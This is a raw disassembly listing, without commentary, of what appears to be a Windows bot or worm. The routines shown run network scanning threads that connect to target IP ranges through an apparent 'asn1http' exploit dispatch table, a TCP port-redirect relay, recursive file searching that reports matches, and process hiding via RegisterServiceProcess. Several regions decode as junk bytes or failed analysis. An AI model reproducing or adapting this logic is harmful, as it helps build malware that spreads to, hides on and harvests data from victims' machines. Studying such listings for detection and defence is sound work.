call sub_41199A add esp, 20h mov dword_4336D0, eax lea eax, [ebp-4] push eax push ebx push offset dword_433338 push offset sub_404175 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, dword_4336D0 imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_405C30 loc_405C1E: ; CODE XREF: .nsp0:00405C2Ej cmp dword_4336E4, ebx jnz short loc_405C4B push 32h call dword_41D05C ; Sleep jmp short loc_405C1E ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: .nsp0:00405C1Cj call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_422A2C loc_405C3C: ; CODE XREF: .nsp0:00405B34j lea eax, [ebp-204h] push eax call sub_411EEE add esp, 0Ch loc_405C4B: ; CODE XREF: .nsp0:00405B18j ; .nsp0:00405C24j lea eax, [ebp-204h] push eax call sub_408E17 pop ecx loc_405C58: ; CODE XREF: .nsp0:004058DCj ; .nsp0:004058FDj ... pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C5C proc near ; CODE XREF: sub_405DDD:loc_405E4Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:432718h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_411FD0 add esp, 0Ch push [ebp+arg_0] call dword_4339FC ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_433AC4 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_411FD0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_405C5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405CA4 proc near ; CODE XREF: sub_405DDD+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_4126F0 cmp eax, 0Fh pop ecx jbe short loc_405CCC xor eax, eax jmp short loc_405D3D ; --------------------------------------------------------------------------- loc_405CCC: ; CODE XREF: sub_405CA4+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_413470 add esp, 18h cmp [ebp+var_C], esi jnz short loc_405CF9 call sub_411F4A mov [ebp+var_C], eax loc_405CF9: ; CODE XREF: sub_405CA4+4Bj cmp [ebp+var_8], esi jnz short loc_405D06 call sub_411F4A mov [ebp+var_8], eax loc_405D06: ; CODE XREF: sub_405CA4+58j cmp [ebp+var_4], esi jnz short loc_405D13 call sub_411F4A mov [ebp+var_4], eax loc_405D13: ; CODE XREF: sub_405CA4+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_405D1F call sub_411F4A loc_405D1F: ; CODE XREF: sub_405CA4+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_432718[ecx*8], eax loc_405D3D: ; CODE XREF: sub_405CA4+26j pop esi leave retn sub_405CA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D40 proc near ; CODE XREF: sub_405DDD+B8p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_433B48 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_405D69 xor eax, eax jmp short loc_405DD8 ; --------------------------------------------------------------------------- loc_405D69: ; CODE XREF: sub_405D40+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_433AC8 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_433B64 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_433A70 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_433AB0 ; select push esi mov edi, eax call dword_433B60 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_405DD8: ; CODE XREF: sub_405D40+27j pop edi pop esi pop ebx leave retn sub_405D40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405DDD proc near ; DATA XREF: sub_405FF1+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_41D048 ; GetTickCount push eax call sub_411F40 mov ebx, esi pop ecx imul ebx, 234h loc_405E24: ; CODE XREF: sub_405DDD+200j mov eax, dword_438C5C[ebx] cmp dword_43271C[eax*8], 0 jz loc_405FE2 cmp [ebp+var_10], 0 push eax jz short loc_405E4E lea eax, [ebp+var_150] push eax call sub_405CA4 pop ecx jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E4E: ; CODE XREF: sub_405DDD+60j call sub_405C5C loc_405E53: ; CODE XREF: sub_405DDD+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_438C5C[ebx] push [ebp+var_3C] push edi call dword_433B54 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_422C40 push eax call sub_411EEE lea eax, [ebp+var_28C] push eax lea eax, dword_438A58[ebx] push eax call sub_411EEE push [ebp+var_38] push [ebp+var_3C] push edi call sub_405D40 add esp, 2Ch cmp eax, 1 jnz loc_405FD2 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_405F27 push offset dword_433078 call dword_41D0A4 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_433B54 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_422C04 push eax call sub_411EEE add esp, 10h cmp [ebp+var_14], 0 jnz short loc_405F09 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_405EFD lea eax, [ebp+var_140] loc_405EFD: ; CODE XREF: sub_405DDD+118j push eax push [ebp+var_40] call sub_40F9F1 add esp, 14h loc_405F09: ; CODE XREF: sub_405DDD+FDj lea eax, [ebp+var_28C] push eax call sub_408E17 mov [esp+2A8h+var_2A8], offset dword_433078 call dword_41D0A0 ; RtlLeaveCriticalSection jmp loc_405FD2 ; --------------------------------------------------------------------------- loc_405F27: ; CODE XREF: sub_405DDD+CDj push edi call dword_433B54 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_411EEE mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aAsn1http_0 ; "asn1http" push eax lea eax, [ebp+var_178] push eax call sub_411EEE add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_405F6B lea eax, [ebp+var_140] loc_405F6B: ; CODE XREF: sub_405DDD+186j push eax lea eax, [ebp+var_1F8] push eax call sub_411EEE mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_422884[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_405FD2: ; CODE XREF: sub_405DDD+C3j ; sub_405DDD+145j push 7D0h call dword_41D05C ; Sleep jmp loc_405E24 ; --------------------------------------------------------------------------- loc_405FE2: ; CODE XREF: sub_405DDD+55j push esi call sub_411CB6 pop ecx push 0 call near ptr 0AB0000h stosb sub_405DDD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FF1 proc near ; DATA XREF: .nsp0:0040D0F4o ; .nsp0:0040EB09o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_433B08 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_432718[ecx*8], eax pop ecx mov edi, esp rep movsd call loc_4058C8 push 8 call sub_411BE2 add esp, 150h cmp eax, ebx jnz short loc_4060BF mov esi, offset dword_433078 push esi call dword_41D0AC ; RtlDeleteCriticalSection push 80000400h push esi call dword_41D0A8 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_4060BF lea eax, [ebp+var_1CC] push offset unk_422D84 push eax call sub_411EEE xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_4060A9 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40F9F1 add esp, 14h loc_4060A9: ; CODE XREF: sub_405FF1+99j lea eax, [ebp+var_1CC] push eax call sub_408E17 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_4060BF: ; CODE XREF: sub_405FF1+63j ; sub_405FF1+7Fj mov eax, [ebp+var_2C] mov esi, dword_41D05C mov edi, ebx mov dword_43271C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40618C loc_4060DD: ; CODE XREF: sub_405FF1+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_422D38 push eax call sub_411EEE push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_41199A mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_438C5C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_405DDD push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_406157 loc_40614C: ; CODE XREF: sub_405FF1+164j cmp [ebp+var_4], ebx jnz short loc_40617E push 1Eh call esi ; dword_41D05C jmp short loc_40614C ; --------------------------------------------------------------------------- loc_406157: ; CODE XREF: sub_405FF1+159j call dword_41D06C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_422CE8 push eax call sub_411EEE lea eax, [ebp+var_1CC] push eax call sub_408E17 add esp, 10h loc_40617E: ; CODE XREF: sub_405FF1+15Ej push 1Eh call esi ; dword_41D05C inc edi cmp edi, [ebp+var_20] jbe loc_4060DD loc_40618C: ; CODE XREF: sub_405FF1+E6j cmp [ebp+var_30], ebx jz near ptr loc_406235+1 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; dword_41D05C loc_4061A1: ; CODE XREF: sub_405FF1+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_432718[eax*8] push eax call dword_433B54 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_422C90 ; CODE XREF: sub_405FF1:loc_406235j push eax call sub_411EEE add esp, 14h cmp [ebp+var_10], ebx jnz short loc_4061EF push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40F9F1 add esp, 14h loc_4061EF: ; CODE XREF: sub_405FF1+1DFj lea eax, [ebp+var_1CC] push eax call sub_408E17 mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_43271C[eax*8], ebx call esi ; dword_41D05C push 8 call sub_411BE2 cmp eax, 1 pop ecx jnz short loc_406226 push offset dword_433078 call dword_41D0AC ; RtlDeleteCriticalSection loc_406226: ; CODE XREF: sub_405FF1+228j push [ebp+var_2C] call sub_411CB6 pop ecx push ebx call near ptr 0AB0000h loc_406235: ; CODE XREF: sub_405FF1+19Ej ; sub_405FF1+25Dj jo short near ptr loc_4061BF+3 inc ebp aam 83h cmp al, 0C5h sbb al, 27h inc ebx add [ecx], al jnz loc_4061A1 push 7D0h call esi ; dword_41D05C jmp short near ptr loc_406235+1 sub_405FF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406250 proc near ; DATA XREF: .nsp0:0040D4CBo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_411F70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_433AC8 ; ntohs push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_433B48 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4063B4 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_438C64[eax], ebx call dword_4339E4 ; WSAAsyncSelect lea eax, [ebp+var_10] push 10h push eax push ebx call dword_433AF4 ; bind test eax, eax jnz loc_4063B4 push 0Ah push ebx call dword_433AF0 ; listen test eax, eax jnz loc_4063B4 loc_4062FA: ; CODE XREF: sub_406250+BEj ; sub_406250+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_433B5C ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4062FA movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_433B54 ; inet_ntoa push eax lea eax, [ebp+var_34C] push offset unk_422E20 push eax call sub_411EEE push edi lea eax, [ebp+var_34C] push 10h push eax call sub_41199A mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_438C5C[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset loc_4063D8 push esi push esi call dword_41D070 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_438C6C[ecx], eax jz short loc_40639F loc_40638C: ; CODE XREF: sub_406250+14Dj cmp [ebp+var_2C], esi jnz loc_4062FA push 32h call dword_41D05C ; Sleep jmp short loc_40638C ; --------------------------------------------------------------------------- loc_40639F: ; CODE XREF: sub_406250+13Aj call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_422DD0 call sub_408E8B pop ecx pop ecx jmp short loc_4063B7 ; --------------------------------------------------------------------------- loc_4063B4: ; CODE XREF: sub_406250+61j ; sub_406250+93j ... mov edi, [ebp+arg_0] loc_4063B7: ; CODE XREF: sub_406250+162j push edi call dword_433B60 ; closesocket push ebx call dword_433B60 ; closesocket push [ebp+var_3C] call sub_411CB6 pop ecx push esi call near ptr 0AB0000h push edi pop edi pop esi pop ebx sub_406250 endp ; sp-analysis failed loc_4063D8: ; DATA XREF: sub_406250+11Co push ebp mov ebp, esp mov eax, 1344h call sub_412770 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_433B48 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_40658E push 10h lea eax, [ebp-18h] push edi push eax call sub_411F70 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_433AC8 ; ntohs mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_433B08 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_406468 lea eax, [ebp-13Ch] push eax call dword_433B4C ; gethostbyname jmp short loc_406476 ; --------------------------------------------------------------------------- loc_406468: ; CODE XREF: .nsp0:00406457j push 2 lea eax, [ebp-8] push 4 push eax call dword_433A80 ; gethostbyaddr loc_406476: ; CODE XREF: .nsp0:00406466j cmp eax, edi jz loc_40658E mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_433A70 ; connect cmp eax, 0FFFFFFFFh jz loc_40658E movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_433B54 ; inet_ntoa push eax lea eax, [ebp-344h] push offset unk_422ECC push eax call sub_411EEE push esi lea eax, [ebp-344h] push 10h push eax call sub_41199A imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_438C64[ebx] mov dword_438C5C[eax], ecx add esp, 20h mov ecx, [esi] mov dword_438C68[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_4065BF push edi push edi call dword_41D070 ; CreateThread mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_438C6C[ecx], eax jz short loc_40657B loc_406528: ; CODE XREF: .nsp0:00406535j cmp [ebp-20h], edi jnz short loc_406537 push 32h call dword_41D05C ; Sleep jmp short loc_406528 ; --------------------------------------------------------------------------- loc_406537: ; CODE XREF: .nsp0:0040652Bj mov ebx, 1000h loc_40653C: ; CODE XREF: .nsp0:00406577j push ebx lea eax, [ebp-1344h] push edi push eax call sub_411F70 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_433AE0 ; recv cmp eax, edi jle short loc_40658E push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_433B18 ; send cmp eax, 0FFFFFFFFh jnz short loc_40653C jmp short loc_40658E ; --------------------------------------------------------------------------- loc_40657B: ; CODE XREF: .nsp0:00406526j call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_422E78 call sub_408E8B pop ecx pop ecx loc_40658E: ; CODE XREF: .nsp0:0040641Cj ; .nsp0:00406478j ... mov eax, [ebp-4] imul eax, 234h push dword_438C64[eax] call dword_433B60 ; closesocket push dword ptr [ebp+8] call dword_433B60 ; closesocket push dword ptr [ebp-4] call sub_411CB6 pop ecx push edi call near ptr 0AB0000h db 26h pop edi pop esi pop ebx loc_4065BF: ; DATA XREF: .nsp0:00406508o push ebp mov ebp, esp mov eax, 1128h call sub_412770 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_4065F6: ; CODE XREF: .nsp0:0040663Bj push edi lea eax, [ebp-1128h] push 0 push eax call sub_411F70 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_438C68[esi] call dword_433AE0 ; recv test eax, eax jle short loc_40663D push 0 push eax lea eax, [ebp-1128h] push eax push dword_438C64[esi] call dword_433B18 ; send cmp eax, 0FFFFFFFFh jnz short loc_4065F6 loc_40663D: ; CODE XREF: .nsp0:00406620j push dword_438C68[esi] call dword_433B60 ; closesocket push dword ptr [ebp-14h] call sub_411CB6 pop ecx push 0 ; --------------------------------------------------------------------------- dd 6A99A7E8h, 5E5FDD00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40665C proc near ; DATA XREF: .nsp0:0040DB44o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_4126F0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_4066B1 lea eax, [ebp+var_114] push eax call sub_4126F0 pop ecx mov [ebp+eax+var_115], bl loc_4066B1: ; CODE XREF: sub_40665C+3Fj lea eax, [ebp+var_218] push eax push offset unk_422F58 lea eax, [ebp+var_49C] push 200h push eax call sub_41246A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_4066F6 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40F9F1 add esp, 14h loc_4066F6: ; CODE XREF: sub_40665C+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_406774 push eax lea eax, [ebp+var_49C] push offset unk_422F24 push eax call sub_411EEE add esp, 24h cmp [ebp+var_8], ebx jnz short loc_406754 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40F9F1 add esp, 14h loc_406754: ; CODE XREF: sub_40665C+D6j lea eax, [ebp+var_49C] push eax call sub_408E17 push [ebp+var_10] call sub_411CB6 pop ecx pop ecx push ebx call near ptr 0AB0000h das pop edi pop esi pop ebx sub_40665C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406774 proc near ; CODE XREF: sub_40665C+B9p ; sub_406774+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_41246A mov edi, dword_41D094 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; dword_41D094 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_406831 loc_4067C0: ; CODE XREF: sub_406774+BBj test [ebp+var_144], 10h jz short loc_40681D cmp [ebp+var_118], 2Eh jnz short loc_4067E4 cmp [ebp+var_117], 0 jz short loc_40681D cmp [ebp+var_117], 2Eh jz short loc_40681D loc_4067E4: ; CODE XREF: sub_406774+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41246A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_406774 add esp, 2Ch mov [ebp+arg_14], eax loc_40681D: ; CODE XREF: sub_406774+53j ; sub_406774+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call dword_41D090 ; FindNextFileA test eax, eax jnz short loc_4067C0 loc_406831: ; CODE XREF: sub_406774+4Aj push [ebp+var_4] call near ptr 0AB0000h jnb short near ptr loc_406839+1 ; CODE XREF: sub_406774:loc_406839j jnz short loc_406851 lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41246A add esp, 14h loc_406851: ; CODE XREF: sub_406774+C7j lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; dword_41D094 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4068B7 loc_406868: ; CODE XREF: sub_406774+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41246A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 28h lea eax, [ebp+var_144] push eax push esi call dword_41D090 ; FindNextFileA test eax, eax jnz short loc_406868 loc_4068B7: ; CODE XREF: sub_406774+F2j push esi call near ptr 0AB0000h dec byte ptr [ebx+5E5F1C45h] pop ebx leave retn sub_406774 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4068C6 proc near ; CODE XREF: .nsp0:00409B46p push ebx push ebp mov ebp, dword_41D0B8 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; dword_41D0B8 mov esi, dword_41D0B4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_4069E6 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; dword_41D0B4 push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_433B74, eax call esi ; dword_41D0B4 push offset aProcess32first ; "Process32First" push edi mov dword_433AE8, eax call esi ; dword_41D0B4 push offset aProcess32next ; "Process32Next" push edi mov dword_433ACC, eax call esi ; dword_41D0B4 push offset aModule32first ; "Module32First" push edi mov dword_4339E8, eax call esi ; dword_41D0B4 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_433994, eax call esi ; dword_41D0B4 push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4339C4, eax call esi ; dword_41D0B4 push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_433A38, eax call esi ; dword_41D0B4 push offset aSearchpatha ; "SearchPathA" push edi mov dword_433B28, eax call esi ; dword_41D0B4 push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_433B84, eax call esi ; dword_41D0B4 push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4339F4, eax call esi ; dword_41D0B4 cmp dword_433B74, ebx mov dword_4339DC, eax jz short loc_4069C4 cmp dword_433AE8, ebx jz short loc_4069C4 cmp dword_433ACC, ebx jz short loc_4069C4 cmp dword_4339E8, ebx jz short loc_4069C4 cmp dword_4339C4, ebx jz short loc_4069C4 cmp dword_433A38, ebx jz short loc_4069C4 cmp dword_433B28, ebx jz short loc_4069C4 cmp dword_433B84, ebx jz short loc_4069C4 cmp dword_4339F4, ebx jz short loc_4069C4 cmp eax, ebx jnz short loc_4069CE loc_4069C4: ; CODE XREF: sub_4068C6+B8j ; sub_4068C6+C0j ... mov dword_433B88, 1 loc_4069CE: ; CODE XREF: sub_4068C6+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; dword_41D0B4 cmp eax, ebx mov dword_433B00, eax jz short loc_4069FB push 1 push ebx call eax jmp short loc_4069FB ; --------------------------------------------------------------------------- loc_4069E6: ; CODE XREF: sub_4068C6+1Dj call dword_41D06C ; RtlGetLastWin32Error mov dword_433B8C, eax mov dword_433B88, 1 loc_4069FB: ; CODE XREF: sub_4068C6+117j ; sub_4068C6+11Ej push offset aUser32_dll ; "user32.dll" call dword_41D0B0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_406B10 push offset aSendmessagea ; "SendMessageA" push edi call esi ; dword_41D0B4 push offset aFindwindowa ; "FindWindowA" push edi mov dword_433B24, eax call esi ; dword_41D0B4 push offset aIswindow ; "IsWindow" push edi mov dword_433AD4, eax call esi ; dword_41D0B4 push offset aDestroywindow ; "DestroyWindow" push edi mov dword_433A68, eax call esi ; dword_41D0B4 push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_433B78, eax call esi ; dword_41D0B4 push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_433A98, eax call esi ; dword_41D0B4 push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_433AB8, eax call 